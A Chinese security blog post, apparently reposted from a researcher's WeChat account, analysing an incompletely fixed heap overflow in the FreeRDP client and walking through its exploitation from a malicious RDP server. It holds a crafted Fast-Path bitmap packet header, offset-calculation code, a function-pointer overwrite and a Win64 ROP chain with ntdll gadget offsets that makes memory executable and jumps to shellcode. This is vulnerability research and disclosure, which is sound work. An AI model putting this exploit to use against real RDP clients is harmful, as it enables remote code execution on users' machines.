FreeRDP安全性思考

admin 2022年4月6日10:34:22评论218 views字数 9016阅读30分3秒阅读模式

作者  Sunglin@0103sec / 404 knownsec

更好阅读体验及评论交流请点击阅读原文


0x00 背景


笔者于去年7月份向 FreeRDP 报告了一枚漏洞,获得了 FreeRDP 回复并分配了CVE-2020-15103,当时提到的漏洞原因是整数溢出,并且 FreeRDP  发布了 2.2.0 版本修复了该漏洞。重新深入分析了这枚漏洞,发现 FreeRDP  并未正确修复,遂即对 FreeRDP 深入分析,以下为笔者思路的简要记录。


0x01 漏洞分析


首先在RDP协议建立连接的时候,server 发送 Demand Active PDU 协议字段给 client 进行功能交换,通过以下的图可以看到存在于连接过程的哪一阶段了。

FreeRDP安全性思考


FreeRDP 对应处理的代码在 rdp.c 的回调函数 rdp_recv_callback 中链接部分的处理,rdp->state为 CONNECTION_STATE_CAPABILITIES_EXCHANGE 的时候,将会接收 Demand Active PDU 协议字段,继续深入,Demand Active PDU 协议字段会通过 capabilitySets 字段来设置每一项功能 :

"capabilitySets(variable): An array of Capability Set (section 2.2.1.13.1.1.1) structures. The number of capability sets is specified by the numberCapabilities field "

这里关注的是 Bitmap Capability Set:

FreeRDP安全性思考


Bitmap Capability Set 如下,其将会设置字段 desktopWidth 和 desktopHeight,而这两个字段将会用于创建窗口会话,并且会通过这两个字段分配一片内存,而这片内存就是造成后面越界的区域:

FreeRDP安全性思考



在 FreeRDP 中 api 调用路径如下:
rdp_recv_callback->rdp_client_connect_demand_active->rdp_recv_demand_active->rdp_read_capability_sets->rdp_read_bitmap_capability_set

在 rdp_read_bitmap_capability_set 函数中将会接收到 server 端的数据,设置 desktopWidth 和 desktopHeight。
static BOOL rdp_read_bitmap_capability_set(wStream* s, rdpSettings* settings){  BYTE drawingFlags;  UINT16 desktopWidth;  UINT16 desktopHeight;  UINT16 desktopResizeFlag;  UINT16 preferredBitsPerPixel;
if (Stream_GetRemainingLength(s) < 24) return FALSE;
Stream_Read_UINT16(s, preferredBitsPerPixel); /* preferredBitsPerPixel (2 bytes) */ Stream_Seek_UINT16(s); /* receive1BitPerPixel (2 bytes) */ Stream_Seek_UINT16(s); /* receive4BitsPerPixel (2 bytes) */ Stream_Seek_UINT16(s); /* receive8BitsPerPixel (2 bytes) */ Stream_Read_UINT16(s, desktopWidth); /* desktopWidth (2 bytes) */ Stream_Read_UINT16(s, desktopHeight); /* desktopHeight (2 bytes) */ Stream_Seek_UINT16(s); /* pad2Octets (2 bytes) */ Stream_Read_UINT16(s, desktopResizeFlag); /* desktopResizeFlag (2 bytes) */ Stream_Seek_UINT16(s); /* bitmapCompressionFlag (2 bytes) */ Stream_Seek_UINT8(s); /* highColorFlags (1 byte) */ Stream_Read_UINT8(s, drawingFlags); /* drawingFlags (1 byte) */ Stream_Seek_UINT16(s); /* multipleRectangleSupport (2 bytes) */ Stream_Seek_UINT16(s); /* pad2OctetsB (2 bytes) */
if (!settings->ServerMode && (preferredBitsPerPixel != settings->ColorDepth)) { /* The client must respect the actual color depth used by the server */ settings->ColorDepth = preferredBitsPerPixel; }
if (desktopResizeFlag == FALSE) settings->DesktopResize = FALSE;
if (!settings->ServerMode && settings->DesktopResize) { /* The server may request a different desktop size during Deactivation-Reactivation sequence */ settings->DesktopWidth = desktopWidth; settings->DesktopHeight = desktopHeight; }
if (settings->DrawAllowSkipAlpha) settings->DrawAllowSkipAlpha = (drawingFlags & DRAW_ALLOW_SKIP_ALPHA) ? TRUE : FALSE;
if (settings->DrawAllowDynamicColorFidelity) settings->DrawAllowDynamicColorFidelity = (drawingFlags & DRAW_ALLOW_DYNAMIC_COLOR_FIDELITY) ? TRUE : FALSE;
if (settings->DrawAllowColorSubsampling) settings->DrawAllowColorSubsampling = (drawingFlags & DRAW_ALLOW_COLOR_SUBSAMPLING) ? TRUE : FALSE;
return TRUE;}

FreeRDP 会在 wf_post_connect 中进行一系列的初始化,包括初始化 bitmap,api 调用路径如下:
wf_post_connect->wf_image_new->wf_create_dib->CreateDIBSection

最 后 将 会 调 用 windows 的 api CreateDIBSection,以bmi.bmiHeader.biWidth * bmi.bmiHeader.biHeight * bmi.bmiHeader.biBitCount 创建以4096页为基数的大内存。

HBITMAP wf_create_dib(wfContext* wfc, UINT32 width, UINT32 height, UINT32 srcFormat,                      const BYTE* data, BYTE** pdata){  HDC hdc;  int negHeight;  HBITMAP bitmap;  BITMAPINFO bmi;  BYTE* cdata = NULL;  UINT32 dstFormat = srcFormat;  /**   * See: http://msdn.microsoft.com/en-us/library/dd183376   * if biHeight is positive, the bitmap is bottom-up   * if biHeight is negative, the bitmap is top-down   * Since we get top-down bitmaps, let's keep it that way   */  negHeight = (height < 0) ? height : height * (-1);  hdc = GetDC(NULL);  bmi.bmiHeader.biSize = sizeof(BITMAPINFO);  bmi.bmiHeader.biWidth = width;  bmi.bmiHeader.biHeight = negHeight;  bmi.bmiHeader.biPlanes = 1;  bmi.bmiHeader.biBitCount = GetBitsPerPixel(dstFormat);  bmi.bmiHeader.biCompression = BI_RGB;  bitmap = CreateDIBSection(hdc, &bmi, DIB_RGB_COLORS, (void**)&cdata, NULL, 0);
if (data) freerdp_image_copy(cdata, dstFormat, 0, 0, 0, width, height, data, srcFormat, 0, 0, 0, &wfc->context.gdi->palette, FREERDP_FLIP_NONE);
if (pdata) *pdata = cdata;
ReleaseDC(NULL, hdc); GdiFlush(); return bitmap;}

在 FreeRDP 建立并初始化完成后,调用下这片内存,并且触发漏洞,通过 Fast-Path 数据来发送 Bitmap Data,而后 FreeRDP 将会利用到初始化的内存,并且没有做任何限制。

FreeRDP安全性思考

00,0x84,0x24,//size = 10600x04, 0x1e,0x4, //size - 60x04, 0x00,//cmdType0x00, 0x00,//marker.frameAction0xFF, 0xE3, 0x77, 0x04,//marker.frameId0x01, 0x00,//cmdType0x00, 0x00, //cmd.destLeft // nXDst * 40x00, 0x00, //cmd.destTop // nYDst * width0x00, 0x03,//cmd.destRight0x04, 0x04,//cmd.destBottom0x20, //bmp->bpp0x80,//bmp->flags0x00,//reserved0x00, //bmp->codecID0x00, 0x01, //bmp->width *40x01, 0x0, //bmp->height0x00 ,4,0,0,//bmp->bitmapDataLength

通过特殊制作的头部数据,将会获取如下路径:
rdp_recv_pdu->rdp_recv_fastpath_pdu->fastpath_recv_updates->fastpath_recv_update_data->fastpath_recv_update->update_recv_surfcmds->update_recv_surfcmd_surface_bits->gdi_surface_bits->freerdp_image_copy

先来分析下这个函数 gdi_surface_bits,其中有三条路径可以解析和 处 理 接 收 的 数 据, case RDP_CODEC_ID_REMOTEFX 和 case RDP_CODEC_ID_NSCODEC这两条路径都会将原始数据进行解析转换,而在 case RDP_CODEC_ID_NONE 中,将会直接得到拷贝原始数据的机会。

  Static BOOL gdi_surface_bits(rdpContext* context, constSURFACE_BITS_COMMAND* cmd)  {    switch(cmd->bmp.codecID)    {      case RDP_CODEC_ID_REMOTEFX:        rfx_process_message();      case RDP_CODEC_ID_NSCODEC:        nsc_process_message();      case RDP_CODEC_ID_NONE:        freerdp_image_copy()    }  }

最后来到数据越界的函数 freerdp_image_copy(),这里的 copyDstWidth、nYDst、nDstStep 、xDstOffset 变量都是可控制的,memcpy 这里将会越界写

FreeRDP安全性思考


这里有个问题,由于CreateDIBSection 分配的是以 4096 页为基数的大内存,而此片内存并没有在 FreeRDP 进程内,即使越界写也很难覆写到 FreeRDP 的内存,而这里将 desktopWidth 或 desktopHeight 置0的话,会导致 CreateDIBSection 分配内存失败,失败后会在 gdi_init_primary 中进入另一条路径 gdi_CreateCompatibleBitmap。以上代码调用_aligned_malloc 以16字节对称来分配内存,desktopWidth 或 desktopHeight 置0,所以将会分配 16 字节大小的稳定内存,而这个内存是在 FreeRDP 进程内的。

FreeRDP安全性思考




0x02 假如说能获取信息泄露
 
假如这里通过自制工具可以泄露堆地址,比如从最轻松简单的开始,通过泄露越界内存的地址,这个结构体就在 gdi_CreateCompatibleBitmap 中调用并分配了将会越界的内存。观察以下结构体将会发现,data指针后面将有个free的函数指针,这里泄露两个地址,GDI_BITMAP 结构体的地址和 data 指针的地址,只要 GDI_BITMAP 结构体的地址高于data指针的地址,就可以计算出偏移 offset,通过设置 offset 精确地将 free 覆盖,最后通过主动调用 free,就可以控制rip了。

FreeRDP安全性思考



0x03 精确计算 offset 


再来回顾下nYDst 是 cmd->destTop,nDstStep 是 cmd->bmp.width*4 , xDstOffset 为 cmd.destLeft*4,copyDstWidth 为 cmd->bmp.width * 4 BYTE* dstLine = &pDstData[(y + nYDst) * nDstStep * dstVMultiplier + dstVOffset]; memcpy(&dstLine[xDstOffset], &srcLine[xSrcOffset], copyDstWidth); 这里 offset = gdiBitmap_addr - Bitmapdata_addr; 需要通过设置 nYDst * nDstStep *1 + xDstOffset = offset 发送 bitmapdata 的数据包括可控内存区域的大小是1060,头部大小是 36 可控内存区域的布局如下:


FreeRDP安全性思考


最后的计算如下:

if (gdi_addr > Bitmapdata_addr){  eip_offset = gdi_addr - Bitmapdata_addr;  char okdata = eip_offset % 4;  UINT64 copywidth = 1024 * 0xffff;  if (okdata == 0)  {      if (eip_offset < copywidth)      {        eip_offset = eip_offset - 1016 + 32 + 32 + 64; //向后退 32 + 64        eip_y = eip_offset % 1024;        eip_ = (eip_offset - eip_y) / 1024;        nXDst = eip_y / 4;      }    }}


0x04 主动调用 free 


通过发送以上的 bitmap_data 数据会控制 hBitmap->free, 通过发送 RDPGFX_RESET_GRAPHICS_PDU 重置消息,并且调用 hBitmap->free 释放初始化的资源。


FreeRDP安全性思考


RDPGFX_RESET_GRAPHICS_PDU 消息处理 api 流程如下:

rdpgfx_on_data_received->rdpgfx_recv_pdu->rdpgfx_recv_reset_graphics_pdu ->gdi_ResetGraphics->wf_desktop_resize->gdi_resize_ex->gdi_bitmap_free_ex


FreeRDP安全性思考



通过调用 hBitmap->free(hBitmap->data)控制rip。


0x05 在 win64 上面构造 rop 链 

首先 rop 链的条件是得通过 pop ret 来利用栈上面的数据,所有说得控制栈上面的数 据才能构造出完整的 rop 利用链,这里观察了下调用 free 时的寄存器值: Rax = hBitmap->data rcx = hBitmap->data rdi = rsp + 0x40 hBitmap->data 的地址上面的堆数据正是被控制的数据,这里在忽略基址随机化的前 提下,在 ntdll 中通过 ROPgadget 找到了这样的滑块:

48 8B 51 50   mov rdx, [rcx+50h]48 8B 69 18   mov rbp, [rcx+18h]48 8B 61 10   mov rsp, [rcx+10h]FF E2         jmp rdx


只要执行这条 rop 链就可以完美控制 rsp,接下来只需要调用 win api 来获取一片可执 行代码的内存,这里采用最简单的方式就是直接调用 virtprotect 来改写 可控内存区域 存在的内存页为可执行状态,在 x86_64 上面,调用 api 都是通过寄存器来传参的,而 virtprotect 的传参如下:

Mov   r9d,arg4Mov   r8d,arg3Mov   edx,arg2Mov   ecx,arg1Call   virtprotect


综上所述,我的 rop 链代码是这样构造的:

UINT64 rop1 = 0x00000000000A2C08; //mov rdx, [rcx+50h], mov rbp, [rcx+18h],mov rsp, [rcx+10h],jmp rdxUINT64 rop2 = 0x00008c4b4; // ntdll pop r9 pop r10 pop r11 retUINT64 rop3 = 0x8c4b2; //ntdll pop r8 ; pop r9 ; pop r10 ; pop r11 ;retUINT64 rop4 = 0xb416; //ntdll pop rsp retUINT64 rop5 = 0x8c4b7; //ntdll pop rdx; pop r11; retUINT64 rop6 = 0x21597; //ntdll pop rcx; retUINT64 rop7 = 0x64CC0; //virtprotectUINT64 shellcode_addr = ntdll_Base_Addr + rop1;UINT64 rsp_godget = gdi_addr - 104;memcpy(&shellcode[956], &shellcode_addr, sizeof(shellcode_addr));//向后退32+ 64 rop 之 rsp 控制栈memcpy(&shellcode[948], &gdi_addr, sizeof(gdi_addr)); //控制 rcxmemcpy(&shellcode[940], &rsp_godget, sizeof(rsp_godget)); //rsp 赋值shellcode_addr = ntdll_Base_Addr + rop3;memcpy(&shellcode[1004], &shellcode_addr, sizeof(shellcode_addr));//jmp rdx赋值,rop开始执行shellcode_addr = ntdll_Base_Addr + rop5; //rop 栈赋值 rdxUINT64 ret1 = 924 - 72;memcpy(&shellcode[ret1], &shellcode_addr, sizeof(shellcode_addr));shellcode_addr = ntdll_Base_Addr + rop6; //rop re2UINT64 ret2 = 924 - 48;memcpy(&shellcode[ret2], &shellcode_addr, sizeof(shellcode_addr));shellcode_addr = KERNEL32Base_Addr + rop7; //rop re3UINT64 ret3 = 924 - 32;memcpy(&shellcode[ret3], &shellcode_addr, sizeof(shellcode_addr));UINT64 virtprotect_arg4 = 924 - 96;shellcode_addr = gdi_addr - 112; //rop virtprotect_arg4memcpy(&shellcode[virtprotect_arg4], &shellcode_addr, sizeof(shellcode_addr));UINT64 virtprotect_arg1 = 924 - 40;shellcode_addr = gdi_addr - 888; //rop virtprotect_arg4memcpy(&shellcode[virtprotect_arg1], &shellcode_addr, sizeof(shellcode_addr));memcpy(&shellcode[900], &shellcode_addr, sizeof(shellcode_addr)); //ret toshellcoderespose_to_rdp_client(shellcode, 1060);//attack heap overflow


通过 rop 链到执行 可控内存区域地址代码,寄存器 rdi 的值都没有被改写,所以最后在执行可控内存区域的时候,可以通过 rdi 来恢复栈地址,这里是通过最简单的方式了:

Mov rsp,rdi 

最后执行可控内存区域位置代码。 



仅供学习参考,请勿用于其他途径!造成任何不良影响,我方概不负责。



原文始发于微信公众号(凌晨一点零三分):FreeRDP安全性思考

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月6日10:34:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FreeRDP安全性思考https://cn-sec.com/archives/594330.html

发表评论

匿名网友 填写信息